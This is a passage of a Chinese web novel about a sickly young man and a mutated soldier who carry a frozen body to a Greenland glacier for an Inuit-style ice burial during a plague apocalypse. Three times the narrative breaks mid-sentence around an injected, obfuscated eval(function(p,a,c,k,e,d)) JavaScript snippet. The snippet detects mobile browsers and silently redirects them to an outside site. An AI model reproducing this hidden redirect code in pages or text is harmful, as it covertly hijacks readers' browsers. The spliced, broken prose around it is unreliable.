卧室里安静下来,魏长川的睡眠一如既往地好,呼吸很快平稳下来。闵疏窝在他怀里,过了一会儿也感到了一阵睡意,很快也睡着了。 · 第二天,闵疏是被一缕阳光照醒的。 明晃晃的阳光照在他的眼皮上,闵疏皱了皱眉,睫毛颤了颤,一睁眼便下意识地眯起了眼睛。 他们昨天没拉窗帘,明晃晃的阳光从窗外洒进来,照在地板上。窗户外的天空蔚蓝如洗,雪原辽阔而洁白,那狂暴的风雪仿佛在一夜之间消失了,连日的恶劣天气仿佛只是他们的幻觉。 闵疏一下子就清醒了,赶忙伸手去推魏长川的肩膀。 “哥、哥!” 闵疏惊喜道:“快醒醒!天气好了!” 魏长川睡得很沉。闵疏推了好几下,他才悠悠转醒。 男人身上带着一股睡眠被打扰的烦躁,皱着浓眉睁开眼,接着骤然清醒过来,一下子从床上坐了起来。 闵疏跟着他坐了起来,看着魏长川罕见地露出惊讶的表情,解释道:“这个季节就是这样的,天气一会儿好一会儿坏的。” 魏长川看着窗外晴朗的景色,眉心出现一道浅浅的皱痕。 他收到的气象信息预测这场风暴会持续至少十五天。第一次行动失败,魏长川本来已经做好了短期滞留在岛上的准备,然而昨天闵疏刚说要陪他去冰川,今天天气就晴了。 青年在他耳边轻快地说:“真巧,哥,我们趁着天气好快去吧。” 魏长川向窗外凝视了片刻,才缓缓收回目光。 为了能早点出发,闵疏迅速做了个快手早餐。他用干紫菜和鸡蛋坐了一大锅紫菜蛋花汤,接着把剩下的包子拿出来蒸了,然后弄了点泡菜,就是美味丰盛的一顿早餐。 自家做的鲜肉包子皮薄馅大,白胖胖的皮下是流汁的肉馅儿,十分管饱,闵疏吃了两个就吃不下了,剩 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15027312|162165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下的都进了魏长川的肚子里。 吃完早饭,闵疏开始准备路上用的东西。冰川倒是离得不远,快的话一天能打来回,但是未免有什么意外,闵疏还是带上了一些路上可以吃的食物,防寒用的皮草和鲸鱼油脂制成的油灯。 魏长川见他吭哧吭哧地往狗拉雪橇里搬东西,没说话。他做任务的时候一般不喜欢带着太多东西,但是想到青年的身体情况,魏长川又觉得还是多带一点好。 于是他便看着闵疏跟只小松鼠似得在院子和屋内之间跑来跑去,将方便面、饼干、火腿肠、甚至连小型气罐炉子都带上了。雪橇从一开始的空旷到后来只剩两个人能坐的空位,其余地方全都被各种物资占满了。 魏长川站在雪橇前,看着青年噔噔噔地跑来跑去,一幅精神十足的样子,倒是有些意外。 一般人忽然听说外面成了末世,应该会很难以接受。他原本已经做好被闵疏质疑诘问的准备了,没想到青年的接受度比他预想的好上不少。 之前他觉得闵疏的身体太差,怕他骤然知道真相发生意外,才没有告诉他这些事。事实上,在瘟疫爆发的前几年,魏长川作为首批免疫者之一忙着全世界灭火,在救援幸存者时,他从不屑于花时间解释情况,基本上就是把军方内部的小册子扔给他们自己看。 至于幸存者在得知真相,也就是这场瘟疫基本上没有解药可言时会有什么反应,他没精力去关心。 这还是他头一次为幸存者的心理状况考虑。 也许是现在幸存者少了,他又有这个空闲,又或许是闵疏看起来实在是太虚弱,让他忍不住迟疑了。 不过青年现在看起来不错。昨天晚上脸色还有点白,今天就活蹦乱跳的了。 魏长川观察了他一会儿,在闵疏试图将一个罐子塞进雪橇上被堆得摇摇欲坠的物品小山时走过去拦住了他:“东西够多了。” “啊?” 闵疏惊讶地抬起头,将怀里的罐子向男人居高了些:“真的不带吗?这是热巧克力,很好喝的。” 魏长川低头看着他,顿了片刻,接着忽然抬手揉了揉闵疏被风吹乱的头发。 闵疏一愣,还没反应过来,手里突然一空。魏长川拿过他手里的罐子,找了个地方塞了进去,同时道:“不许再带其他的了。” 闵疏’哦’了一声,摸了摸自己的头发,忽然觉得跟魏长川比起来他就像是个准备去春游的小学生。 他看着魏长川用绳索将雪橇上的各种零食和东西固定住,有些讪讪地凑上去,小声道:“可是哥……还有一样东西我想一起带着。” 魏长川手持绳索,’噌’地一下将金属钩扣好,斜眼看向闵疏:“什么?” 闵疏在他的眼神下缩了缩脖子,接着讨好地笑了笑,道:“尸体。” 魏长川原本已经移开了视线,闻言,他整理行李的动作一顿,缓缓回过头:“什么?” 闵疏眨了眨眼,接着’哦’了一声,这才意识到他用错了词:“我说错了哥。” 然而没等魏长松口气,他就听到青年轻快地说:“应该是遗体。” 魏长川:………… 14.冰川 闵疏领着魏长川到了院子背后的一个冰窖旁。这个冰窖比用来储藏食物的那个要大一些,闵疏推开门,一股寒意登时向两人袭来。 冰窖中很空旷,冰壁泛着蓝光,阳光射入后,三个人的影子出现在冰面上。 魏长川看清里头的东西,瞳孔微微收缩。 只见冰窖深处,一个妇人的尸体所冻成的冰雕正静静坐在暗处。她的皮肤在长久的冰冻下呈现出微微泛蓝的苍白,头发与睫毛都被霜雪覆盖,两条黑亮的发辫垂在胸前,闭着眼,嘴角带着一缕微笑,每一根发丝都栩栩如生。 这个场景中惊悚中带着些许圣洁,让看过成千上万尸体的魏长川也不禁略微愣神了一瞬。 不过他很快回过神,迅速的上下扫了眼尸体,没有看到明显的外伤,没有下毒的痕迹,妇人面容平和安详,没有抵抗痕迹。 他心下一松,抬手揣进裤兜,低头看向旁边不断朝双手哈气的闵疏: “怎么回事?” 闵疏搓着手,道:“她是我的朋友,叫阿伊苏。她的家人都离开了,没人照顾,所以我就把她接到了家里来住。” 闵疏看着不远处妇人冰封的慈祥面容,声音微微低下去:“……两周前,她去世了。“ 魏长川’嗯’了一声,问道:”死因是?” “死因?” 闵疏想了想,不太确定地道:“应该就是自然死亡吧……也许是心脏病发作?” 闻言,魏长川彻底放下了心。他看了眼身边冷得直跺脚的闵疏,甚至觉得刚才的自己有些好笑,青年恐怕连只壮点的鸡都杀不动,更何况是人。 “哦对了——” 同时,闵疏忽然意识到自己还没有跟魏长川解释过尸体为什么会在这儿,他赶忙道:“忘记跟哥说了,这是因纽特人的习俗,他们这儿不流行火葬和土葬。” 由于历史上的格陵兰岛终年冰雪不化,且缺少能燃烧的能源,土葬和火葬都不太现实。因纽特族人中流行的是将尸体放入由于石头堆成的石棺中,再在石棺上额外压上重石,利用生物降解处理尸体的’石葬’,或者是将尸体直接投入海中的水葬。 而更常见的,则是将尸体运送到冰洞中,再以冰块封住洞口的「冰葬」。因纽特人相信冰雪有灵,这么做可以帮助逝者的灵魂进入轮回。 “冰川是镇上人信奉的祖地,所以我想着也把阿苏伊送到哪儿去。” 闵疏道:“正好今天我们要去冰川,我想着就把她一起带上得了,省的来回跑。” 在镇上生活了这么多年,闵疏也见识过好几场当地人举行的葬礼,因此对冰冻的尸体已经习惯了。所以这时闵疏才反应过来自己的行为在魏长川眼里或许有点奇怪,有点不好意思地看了男人一眼: “不好意思啊哥,忘了提前跟你解释了。” 闵疏抬头看了看魏长川:“哥你没被吓到吧?” 魏长川眉尾微动,垂下眸看了青年一眼:“没有。” 闵疏松了口气,立即夸道:“哥你好厉害啊!” 他道:“我一开始也觉得有点吓人,但是看习惯了就觉得还挺好的。” 被冰封的尸体不会腐烂,可以保持逝者死前栩栩如生的样子,与终年封冻的冰川一样永存于世间,在某种程度上来说对于活着的人也是种慰藉。 闵疏感叹道:“我现在觉得这种方法挺好的,等我哪天死了,和阿伊苏冻在一个洞里面就行了。” 听到这句话,魏长川皱了皱眉。 闵疏往手上哈了口气,道:“我一个人搬不动遗体,哥,你能不能——” 他刚想请求魏长川的帮助,结果一抬头,便见魏长川垂眼看着他,眉眼见似有丝缕的不悦。 闵疏一愣,意识到魏长川好像是不喜欢他刚才说的话,赶忙道:“哥,我开玩笑的。” 魏长川还是看着他,微微眯起眼睛。 闵疏登时一阵脊背发寒,’唰‘地一下抬起手做发誓状:“哥,我以后再也不说了。” 魏长川的神情这才松缓了些,抬手拍了拍他的肩膀,似安慰、又似警告,接着向阿伊苏的尸体走去。 闵疏看着他的背影,放下手轻轻舒了口气、心想魏长川也没比他大几岁,怎么就威严这么多呢?男人脸一沉他就心肝儿颤,闵疏忽然想到网上曾经流行用老干部形容一些男明星,心想魏长川也有点那个气质,只站在那,就让人觉得是个领导,有种说一不二的架势,让人下意识地就想服从他。 随后,他看着魏长川将阿伊苏的尸体从冰窖上抬下来,又悄咪咪地想,还说什么跟阿苏伊葬在一起,等真死的那一天,还不一定有人收尸呢。 闵疏对自己的身体很了解,并且也不是表面上展现出来的那么天真。知道了外面的世界已经沦陷于瘟疫之后,闵疏心里就明白自己这个体质只要出去就是个死。要想活长点他只能一直苟在格陵兰岛上,并且乞求瘟疫永远都不要传到岛上来。 而魏长川肯定是会回人类基地的。等收集好了冰川里的远古病毒,总得交给科学家去研究吧?那时候男人肯定会离开。 到时候他就又会是一个人了。 闵疏往自己的掌心呼出一口气,透过氤氲的白色水汽看向男人高大的身影,心想实在不行,到时候就往屋子外面一躺,按现在这个气候也算是冰葬了,只要狗子不要把他当冰棍吃了就行。 就在他出神间,魏长川将尸体搬了出来,看了愣神的闵疏一眼:“想什么呢?” 闵疏抬起头,笑了笑道:“没什么,哥,我来帮你吧。” 魏长川凝视他片刻,没说什么,而是将冻成冰雕的阿伊苏一把扛在了肩上,对冻得哆哆嗦嗦的青年发出指令:“到屋子里等。” 接着便走了出去。 闵疏不禁张开嘴,小小地’哇’了一声,有些艳羡地看了看孔武有力的魏长川,遂乖乖走到的屋子里去等了。 魏长川用木板做成了个简易的棺材,将遗体放在了里面,用绳索将棺材和前头的雪橇绑在了一起。前头则是装满了货物,用铁链固定好的货仓和坐人的雪橇。 为了抵御行进过程中的寒风,闵疏用柔软丰厚的皮毛将坐人的地方铺得厚厚的,自己则是从帽子到围巾再到防雪服全副武装,整个人裹得跟个球似得,只露出了一双眼睛。 他旁边的魏长川则是只穿了一身精干挺拔的军装,手上执着拴在雪橇犬身上的绳索,军帽闪亮的徽章在阳光下熠熠生辉。 闵疏忍不住以欣赏的目光看了他许久,心想好一条A气逼人的帅哥,跟臃肿的他形成了鲜明的对比,忍不住夸道:“我哥真帅!” 接着拿起腿上的毯子朝魏长川腿上盖:“哥你只穿了一条裤子吧,小心着凉,我给你盖盖——” 魏长川看着身边因为穿的太多随便做个动作都格外费劲的青年,到底没说什么,任由闵疏将那条厚毯子盖在了自己腿上。等青年吭哧吭哧地盖好了,他便道:“坐好。” 闵疏立即乖乖向后靠着:“好 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15032268|162165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 嘞。” 下一瞬,魏长川手中的绳索一紧,狗子们登时奔驰而出,随着兴奋的犬吠声,雪橇行驶过光滑辽阔的雪原。 经过数天连绵的暴雪,地上的积雪厚实平滑,天空蔚蓝,洁白的雪原一望无际。 远处,薄荷蓝色的冰山在海水中浮动,透彻的冰晶折射出阳光璀璨的色泽,景色美好而静谧,狂暴的风雪仿佛没在这座世外仙境般的小岛上留下任何痕迹。 但当雪橇路过附近的村镇时,闵疏一眼便看见又有几座房子塌了,五颜六色的木板被埋在雪地中,变为了一地狼藉。 这些房子没人维护,暴雪后房檐上的积雪一多,很容易地就被压塌了。 闵疏在呼啸而的寒风中眯了眯眼,不禁向魏长川靠近了些。 魏长川驾着雪橇,神情在冷风中丝毫不变,一只手隐隐挡在闵疏跟前。 在前路一览无余的大晴天,他们坐着雪橇跑了一个多小时,就看到了远处晶莹的冰川。只见雪原上突兀地伸出一条微微泛着蓝色的冰壳,宛若一条凝固的河流。 “快到了。” 闵疏小声道。 魏长川望着不远处的冰舌,神情有些微妙,之前他走了整整一天半才走到这儿。果然如同闵疏所说,应该天气好的时候来。 两人驾车到冰舌末端,也就是冰川的入川口,雪橇便不能再向前了。 闵疏吭哧吭哧的从雪橇上下来,摸了摸前头正耷拉着舌头喘气的阿拉斯加毛茸茸的狗头:“好狗好狗,真乖。” 众狗子见状纷纷凑上来将闵疏团团围住,等闵疏掏出鱼片。今天的货物特别多,闵疏于是奖励了他们一狗两个冻鱼片。 狗狗们咔擦咔擦地嚼起冻鱼,闵疏回过头,便见魏长川不知什么时候已经将他带的物资都背在了背上。 他带的东西是有点多,在魏长川背上显得跟座小山似得,但是男人表情仍然很平淡,像是根本没觉得背上的东西有多重。 闵疏登时瞪大了眼睛:“哥,你怎么就背上了?” 跨过地上的冰朝男人走:“雪橇后头有小拖车——” 他还没走几步呢,魏长川就手一抬,制止了他的动作,同时将连着棺材的锁扣从雪橇上解开,单手拖着棺材向他走来:“麻烦。” 闵疏目瞪口呆地看着男人肩背物资,手拉棺材从他身边走过,不禁脱口而出一句:“卧槽!” “哥!你、你这个——” 闵疏小跑着跟上魏长川,震惊地看着男人:“你这个不对吧?你、你怎么力气这么大啊?” 魏长川背上小山一样高物资加上棺材放在正常情况下也得开一辆小型货车才拉得动,男人怎么就这么大气不喘地就背起来了?!虽然闵疏有自知之明,知道自己的力气和体力都是特别差的,但是一般人也不该力气这么大啊?难不成外面的人什么时候进化了没带他? “哥、你这个——你平时是怎么锻炼的啊?” 闵疏围着魏长川问:“你平时吃的什么?是不是那个什么蛋白粉?我看他们健身的好多都吃那个——“ 魏长川一开始没说话,任由青年像个蚂蚱似得在他身边窜来窜去。但是闵疏小嘴叭叭地问个不停,他的眉头越蹙越紧,终于似是有点烦了,他开口道: “免疫者的身体会产生基因突变。” 魏长川健壮的手臂一动,将背后的物资向上送了送:“这是变异的效果。” 闵疏的话头登时一停:“……啊?” 还真是人类进化了没带他?? 15.下葬 闵疏愣了两秒,才问道:“变异?什么意思?” 魏长川向冰舌上迈出一步:“活下来的感染者身体里的病毒不会消失,会从X和Y变为Z型毒株,不会再出现症状,但是身体会变异。” 闵疏长大了嘴,忽然想起昨天那个小册子上面什么介绍都没有的.z型毒株。他昨天就觉得有点不对,不过因为受的冲击太大没来得及问,没想到竟然是这么一回事。 闵疏转了转眼珠,忽然想到了什么,有点激动地在原地蹦了两下:“哦哦哦!我知道了,是不是像蜘*侠里头的那个蜘蛛病毒,感染就可以有超能力——” “别乱动。” 魏长川伸手拽住他,将他朝自己拉了拉:“小心掉下去。” 闵疏闻言吸了口气平复了一下心情,不敢再乱动,有些艳羡地瞅着魏长川:“原来是这样,哥,你太帅了!” 力气大,不怕冷,在雪地里一走就是十几公里,闵疏这个从小就被禁止剧烈运动的二级残废可是太羡慕了!健康的人是无法理解有一幅不健全的身体是什么感觉的,闵疏虽然觉得自己能活这二十多年已经很知足了,但心里到底还是存着些对健康的渴望。 “要是我也能变异就好了。” 闵疏不禁道。 谁知魏长川听了,脚步顿时一停,回过身来盯着他。 闵疏被他看得一怵,登时停住了脚步。 魏长川看着他,半晌后,一字一句道:“想都别想。” 闵疏被他的目光冻了个底掉,赶忙道:“我知道了,哥。” 待魏长川回过头,继续朝前走,闵疏才敢舒出一口气,默默低下头,有点懊恼地拍了两下自己的脸。 他咋就管不住自己这张嘴呢! 闵疏知道自己话痨,有些时候嘴上没把门的,不过他也没想到今天会这么倒霉,没几小时就惹了魏长川两次。闵疏不禁有些气馁,心想今天出门没看黄历,今天肯定是不宜说话! 其实闵疏自己也知道,他染上病毒就是个死,根本不可能免疫,更谈不上获得什么超能力了,他就是那么随口一说。 然而闵疏不知道的是,魏长川并没有告诉他关于所谓「免疫」的全部真相。 事实上,人们将这种现象叫做「免疫」不过是为了增添末世摇摇欲坠的民众信心,给幸存者带来一丝聊胜于无的慰藉罢了。真要说,这种现象应该被叫做「二次感染」,科学家们对此没能得出具体的解释,只知道在一定的人群体内,「X」「Y」毒株会在感染末期变异为「Z」毒株,从而获得某种变异。 然而Z毒株实际上也是病毒,它们会攻击受感染者的基因链,根据某种人类未知的不同,Z毒株在每个「免疫者」身上的表现也大不相同。 像魏长川这样获得了几乎完全正向影响的感染者只是极少数,他们被称为「完美免疫者」,而剩下的那些,都是「不完美的免疫者」,他们在获得免疫的同时,也遭受到了基因层面上副作用的折磨。 比如一个免疫者,就因为基因上的免疫而会不断地长出四肢,这种无法停止的复制和再生会无限加重身体的负担,该免疫者只能不断砍断多余的肢体来保命。 所谓的「免疫」之于人类是福是祸,都取决于概率。就算侥幸没有死于病毒感染,这个人也不一定就能获救。 闵疏并不知道这些,只觉得自己还是别说话的话,于是便低头闭了嘴,不声不响地跟在魏长川身后。 一时间,冰舌上只剩下呜呜的风声,和脚步踩在碎冰上面的声音。 冰舌的末端,也就是闵疏和魏长川最先踏上的区域是冰舌的消融区域,冰面经过堆叠打磨较为平滑,而越往上走,靠近冰舌头的前段则是冰崖林立,攀爬的难度显著增加。 闵疏吭哧吭哧地在冰面上走着,额角上逐渐泌出了些细汗,呼吸也逐渐变得有些急促,逐渐觉得有点吃力。 又走了一会儿,闵疏眼前出现了一个上下差距有四、五个台阶那么高的冰崖。 闵疏:…… 换作平常,他使使劲儿也是跨得上去的,但是现在他有点儿累—— 闵疏看着眼前的冰崖,犹豫了一下,刚想咬咬牙爬上去,眼前就出现了一只手。 “手给我。” 魏长川的声音传来。 闵疏惊讶地抬起头,便见魏长川的一张俊脸,正垂着眼看向他。 见他怔愣,伸在他面前的手勾了勾:“手,拿来。” “哦、哦。” 闵疏一顿,将手伸了出来。 魏长川稳稳地握住他,灼热的体温立刻透过带着薄茧的皮肤传了过来,闵疏登时打了个抖,下一瞬就感到一股巨力,身子一轻,直接被魏长川拽上了冰崖。 !闵疏被吓了一跳,竟一下子没站稳,身子向后仰去,幸好魏长川及时从后腰扶了他一把:“小心,脚下站稳。” 闵疏赶忙稳住身体,一边儿感叹魏长川的力气是真大,跟坐电梯似得,一边抬头朝魏长川笑了笑:“哥——” 他下意识地想夸男人几句,话要出口时却想到刚才的事情,噎了一下,最终抿了抿唇,只是道:“哥,谢谢啊。” 迎着阳光,魏长川看到了青年面上略带小心的笑容,眉心微不可查地皱了皱。他的目光在青年面上顿了片刻,才道:“没事。” 说罢,他转过身:“走吧。” 闵疏跟着他,神情逐渐变得有些奇怪,目光向下,落在魏长川和他交握的手上。 这……总不会是忘了收回去吧? 闵疏犹豫了一下,抬起头,试探地问道:“哥,我自己可以走。“ 魏长川脚步不停,也没回头:“路不好走。” 这时,他们正好经过一处略宽的裂缝,魏长川放开了他的手,迈了过去,接着回过头:“脚抬起来。” 闵疏依言抬起脚,下一瞬,魏长川猛地踹向一旁的冰壁,一截粗壮的冰柱掉下来,正好严丝合缝地卡在那道裂缝里。 闵疏:…… 他震惊地抬头,看向魏长川:“哥,你真是我的哥。” 这也太牛逼了吧!! 魏长川有些奇怪地看了他一眼,向他抬起手:”手。“ 闵疏彻底服了,一个指令一个动作,乖乖地被魏长川握着手从简易的冰桥上走了过去。接着,魏长川又通过冰桥将棺材运了过去,转身继续牵着闵疏的手朝前走。 闵疏跟在魏长川的身边,时不时抬头看看男人高大的背影,又低头看看两人交握的手。 不知是因为他穿得太厚了,还是正午的日头太足,闵疏竟然在寒冷的冰川上感到了一股热意。 闵疏抿了抿唇,又悄悄看了男人一眼,没能从魏长川平静的侧脸上看出什么。不过男人的手倒是很热,热得都有点烫,紧紧地握住他的手。 在日头逐渐偏斜之时,两人来到了冰舌的末端,也就是冰川的入口。 闵疏之前最远也就跟着镇民走到过这儿,只见临近入口处有一面光洁的冰壁,有两层楼那么高,从近处可以看见两、三个还看得见洞口痕迹的冰洞,再往后看,原本有的痕迹已在岁月的打磨下消失,和冰壁融为了一体。闵疏却知道,这座冰壁上至少埋葬了十数名去世的纽因特族长辈。他们的遗体或许已经跟随终年的冰雪一起融入了这座冰山之中。 魏长川用带来的斧头在最近的一个冰洞旁边儿凿开了一个相似的洞口,接着,两人将阿苏伊的遗体取出来,放至在了洞穴深处。 阿苏伊的遗体呈现出盘坐的姿态,静坐在微微泛滥的冰洞之中,阳光经过冰面折射,照在妇人平静而安详的面孔上。 若是气候还是这般连年变冷,她将会以这个状态坐上很久很久。 闵疏坐在地上,看着她,忽然想到了佛教中达摩祖师面壁九年,修禅悟道的故事。 可惜纽因特族并不信佛教,而是信奉万物有灵,他们将长者的尸体留在冰川之中,相信祖先的灵魂会融入霜雪之中,随着融化的雪水滋养大地,守护族人。 “婆婆,你教我的歌,我还是没有学会。” 闵疏用阿依图克语道。 他取出从中超老板那儿继承的香烛,用打火机点燃,举过头顶朝阿苏伊的遗体拜了三下: “这是我们老家的礼仪,就当是给你送行了。” 闵疏抬起头,看向妇人柔和的面孔,眼眶有些微微发红:“婆婆,我会想你的。” 阿苏伊垂着头,嘴边还挂着一缕微笑,似乎是听见了。 闵疏抽了抽鼻子,低头抹了抹眼角,将三炷香往冰面上插去,下一瞬,动作却猛地顿住。 ……香插不进去。 冰面太坚硬,闵疏试了几下,连个划痕都没留下。 闵疏:…… 他不得不回过头 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15035218|162165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,看向正斜倚在洞口,正夹着根烟在玩儿的魏长川:“哥,帮帮忙?” 魏长川动作一停,将香烟收了起来,走到他身边。三炷香在他手中宛若神兵利刃,十分丝滑地没入了冰面之中。 闵疏看着那飘着青烟的香,忽地笑了笑,转向阿苏伊道:“婆婆,这样哥也算是给你上了香了,看在我的面子上,你也保佑保佑他好不好?” 闻言,魏长川起身的动作一顿,看了眼闵疏。 闵疏倒是颇为虔诚,又朝阿苏伊拜了三下:“这是替哥拜的。” 他拜完,撑着冰面站了起来,最后看了阿苏伊的遗体一眼,像是无数次出门前一样,对妇人笑着道:“我走啦,婆婆,别替我担心。” · 寒冷的北风刮过雪原,顺着冰舌吹入,在狭窄的冰壁见流窜。闵疏走出冰洞,迎面一股强烈的气流吹乱了他的额发,猛地掀起毛毡帽。 “啊!” 闵疏被吹得一激灵,下意识地闭上眼。 就在这时,一只手稳稳按住了他的帽子,闵疏被按得缩了缩脖子,转过头,见魏长川收回了手,对他道:“站远点。” 闵疏’哦’了一声,赶忙用手按住帽檐,往后退了几步。 接着他便看见魏长川将手从口袋里拿出来,接着旋身一脚踹向冰洞。洞口上方的冰壁登时碎裂,冰块哗啦啦地掉下来,将洞口封了个严严实实。 闵疏在一旁长大了嘴:“哇。” 他还特别带了凿冰块的工具呢,没想到魏长川一脚就搞定了。效率倒是很高,就是有点不体面。他忽然觉得刚才拜的那三下少了点儿,应该再替魏长川多拜几下。 这时,魏长川转过身,面容如常地从四散的雪雾中走出来,对他道: “走吧。” 闵疏忽然发觉男人不仅对自然缺乏敬畏,对葬礼这种带点儿唯心主义的东西似乎也不是很尊敬。 不过没事,你强你有理,闵疏很快说服了自己。 接下来的路程魏长川拒绝让闵疏陪同,他找到了一处避风的山洞,将闵疏和众多物资一起安排在了洞中。 “就在这等我。” 魏长川用气炉煮了些雪水,给闵疏冲好了一杯热可可,站起身道:“我回来之前,不要出去。“ 闵疏喝了口热可可,感到浑身都暖了起来,闻言他点了点头:“嗯嗯。” 他也没打算出去,能走到这儿,闵疏自知已经到了体力的极限,他也无意去拖魏长川的后腿。 魏长川青年在冰洞里缩成一团,捧着保温杯朝水面吹气的样子,目光在青年微微泛白的脸上顿了顿,不知为何说了句:“我会尽量早点回来。” “好呢。” 闵疏捧着杯子点了点头,透过氤氲的水汽冲男人咧嘴笑了笑: “哥,路上小心。“ 魏长川闻言,似乎是笑了一下,又似乎是没有。在闵疏能辨别清他被帽檐的阴影所遮盖的神情之前,他便回过神,走出了洞口。 · 魏长川走后,闵疏喝完了那杯热巧克力,不久就睡着了。他带来的那些毛皮派上了用场,闵疏在冰面上铺了好几层防水的皮毛,像打地铺一样弄得软软的,再躺上去,盖了件北极熊皮毛做的外套当被子。 一上午的徒步已经耗光了他的体力,被略带暖意的阳光照着,闵疏很快就坠入了黑甜的梦乡。 不知过了多久,闵疏被冻得醒了过来。 他一睁眼,就发现洞外不知什么时候已经全黑了。 这倒是不奇怪,这个季节,岛上的日照时间已经很短了,下午三四点天就差不多全黑了。 闵疏爬起来,身上的’被子’滑落,被窝里的热气一散,闵疏立刻被冻得打了个抖。 气温下降了很多。闵疏意识到这一点,立即又拿了几件皮毛来裹在了身上,这才觉得好了些。接着,他摸到了放在一旁的鲸油灯,用打火机点燃,昏黄的光芒立即照亮了冰洞。 闵疏四处看了看,发现魏长川还没回来。 就在这时,一个声音传进了闵疏耳中。 那是风雪的呼啸声。 闵疏动作一顿,接着浑身一凛,急忙站起来跑向了洞口。当他看清洞口外的情况时,瞳孔猛地一缩,举着油灯的手一抖。 洞口外一片灰白,不知何时,暴风雪已经笼罩了冰川。 16.骤变 闵疏登时心下一凉。 外面的风雪非常大,冷风呼啸在冰川间穿梭,发出巨大的声响。 闵疏额上的头发被吹得糊住眼睛,提起灯试图往远处看去,然而灯光只能照亮飞舞的雪花,四周没有魏长川的身影。 闵疏没看到人,心想可能是样本还没采集到。虽然风雪是很大,但魏长川那么厉害,应该没有问题吧? 他看着外面的风雪,又有些担心还在冰舌外头等着的雪橇犬。不过狗狗们被他安置在了一个冰壁避风的凹陷处,且皮毛丰厚,在雪地里的生存能力比他要好,应该问题不大。 外面的气温降低了很多,闵疏在洞口站了几分钟,手和脸都冻得有些发麻,他不得不转身走回了洞内。 幸好魏长川找的这个洞够深,里头基本上没有风。闵疏走回洞穴深处,将带来的油灯都点上,把洞内弄得亮亮的,这样魏长川一走到附近就能通过亮光找到这里。 接着,他拿出气罐,架起了个简易的小炉子,烧了盆热水,给自己冲了杯热巧克力,喝了又觉得有点饿,便又泡了碗面充饥。 简单地吃完晚饭,将地方收拾收拾,闵疏便开始等魏长川。 他手边放了盒苏打饼干,膝盖上摆了本随各种吃食一起带来的漫画书,一边看一边等着魏长川回来。 漫画书是上个世纪流行的某本日本漫画,闵疏手上的这本是台岛翻译版,墨色暗淡的繁体字看起来有些费劲。但等闵疏磕磕绊绊地把一本书都翻完了,魏长川还没有回来。 洞外,风雪不仅没有停,还有愈演愈烈的趋势。 强劲的冷风在冰川间呼啸,凌厉地刮过冰面。风声在回响叠加之下,听着竟有些像是无数人同时发出呜咽一般凄厉。 闵疏放下漫画书,逐渐有些坐不住,开始站起身在原地转圈,时不时走到洞口看看。 然而这一等,就等到了后半夜。四处的黑暗可以用伸手不见五指来形容,如果不拿灯照,连飞雪都看不清了。 洞内的温度也越来越低,闵疏身上肩上搭了两层皮毛,都还觉得有些冷,可这时他也顾不上这点寒冷了。 闵疏站在洞口边,皱着眉往外看。 风雪这么大,看不清月亮,魏长川能分辨得清方向吗? 他也没见魏长川带什么仪表或者指南针,就只带了张地图,那地图上也没画冰川里面的具体地形啊?或者是又从哪里摔下去,给磕晕过去了? 闵疏越想,越觉得担心,眉头越蹙越紧。 就在这时,他耳边忽然传来一个细小的响声。 那是个极微小的’咔嚓’声,然而闵疏一听,浑身立即一颤,立刻急步后退—— 下一瞬,洞口上的的冰楞骤然断裂,随着积雪骤然落下。 下落的冰锥深深插入了冰面中,一阵闷响后,洞口前瞬间堆起了半米高的雪墙。如果刚才闵疏没躲开,幸运点是被冰雪埋住,要是不走运,估计身体就被冰锥插穿了。 不过闵疏在岛上生活多年,对这种事已经形成了条件反射。闵疏看着从冰雪里支出来的冰锥,心里倒是没什么后怕的情绪,这时他想的全都是—— 魏长川不会是被雪埋了吧?或者是在哪摔了,受了伤行动不了,所以才回不来? 男人被冰锥贯穿,倒在血泊中的场景顿时出现在闵疏脑海中,闵疏登时打了个冷颤,心中大叫不好! 魏长川是很强,但技能点是点在体力和血条上的,到底是血肉之躯,如果真被冰锥扎了还能活得了?? 闵疏越想越觉得自己很对,冰川的地形算不上太复杂,按理说一路沿着深陷的槽沟走就能来到冰舌的开端。魏长川这么久还没回来,肯定是受了伤不能走动了! 闵疏越想越着急,在原地站了片刻后,终于一咬牙一跺脚,回头抄起毛皮大衣,提着鲸油灯就冲入了风雪中! 一离开洞口,呼啸的风雪登时包围了他。 闵疏死死按住自己的帽子,一瞬间几乎被风雪吹得睁不开眼,刺骨的寒风吹在他脸上,如同刀割一般泛起阵阵刺痛。迎面而来的寒风在他周身形成巨大的阻力,让闵疏几乎一步都卖不出去。 风太大了! 几乎是在踏入风雪的第一瞬,闵疏心里就生理性地涌上一股悔意,迅速失去暖意的身体和人类趋利避害的本能在驱使他回到温暖的洞穴中去。 